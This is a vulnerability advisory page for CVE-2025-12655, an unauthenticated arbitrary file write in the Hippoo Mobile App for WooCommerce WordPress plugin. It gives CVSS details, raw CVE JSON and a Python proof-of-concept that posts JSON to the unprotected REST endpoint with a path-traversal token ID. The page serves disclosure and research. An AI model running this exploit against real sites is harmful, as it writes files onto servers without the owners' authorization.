Security Vulnerability Report
中文
CVE-2025-12655 CVSS 5.3 MEDIUM

CVE-2025-12655

Published: 2025-12-12 07:15:44
Last Modified: 2026-04-15 00:35:42

Description

The Hippoo Mobile App for WooCommerce plugin for WordPress is vulnerable to arbitrary file write via a missing authorization check in all versions up to, and including, 1.7.1. This is due to the REST API endpoint `/wp-json/hippoo/v1/wc/token/save_callback/{token_id}` being registered with `permission_callback => '__return_true'`, which allows unauthenticated access. This makes it possible for unauthenticated attackers to write arbitrary JSON content to the server's publicly accessible upload directory via the vulnerable endpoint.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Hippoo Mobile App for WooCommerce plugin <= 1.7.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-12655 PoC - Arbitrary File Write via Unauthenticated REST API # Affected: Hippoo Mobile App for WooCommerce plugin <= 1.7.1 target_url = "http://target-wordpress-site.com" endpoint = "/wp-json/hippoo/v1/wc/token/save_callback/" token_id = "../../../../uploads/malicious" # Malicious JSON content to write malicious_content = { "exploit": "arbitrary_file_write", "cve": "CVE-2025-12655", "type": "unauthorized_file_upload" } # Construct the full URL full_url = f"{target_url}{endpoint}{token_id}" # Send the exploit request headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 PoC-Generator" } response = requests.post(full_url, json=malicious_content, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Check if file was written successfully if response.status_code == 200: print("[+] Exploit successful - File written to upload directory") else: print("[-] Exploit failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12655", "sourceIdentifier": "[email protected]", "published": "2025-12-12T07:15:44.180", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Hippoo Mobile App for WooCommerce plugin for WordPress is vulnerable to arbitrary file write via a missing authorization check in all versions up to, and including, 1.7.1. This is due to the REST API endpoint `/wp-json/hippoo/v1/wc/token/save_callback/{token_id}` being registered with `permission_callback => '__return_true'`, which allows unauthenticated access. This makes it possible for unauthenticated attackers to write arbitrary JSON content to the server's publicly accessible upload directory via the vulnerable endpoint."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/hippoo/tags/1.6.1/app/utils.php#L1", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/hippoo/tags/1.6.1/app/web_api.php#L117", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/hippoo/tags/1.6.1/app/web_api.php#L45", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d34701a0-c745-441c-8d6c-7befc877f8d0?source=cve", "source": "[email protected]"}]}}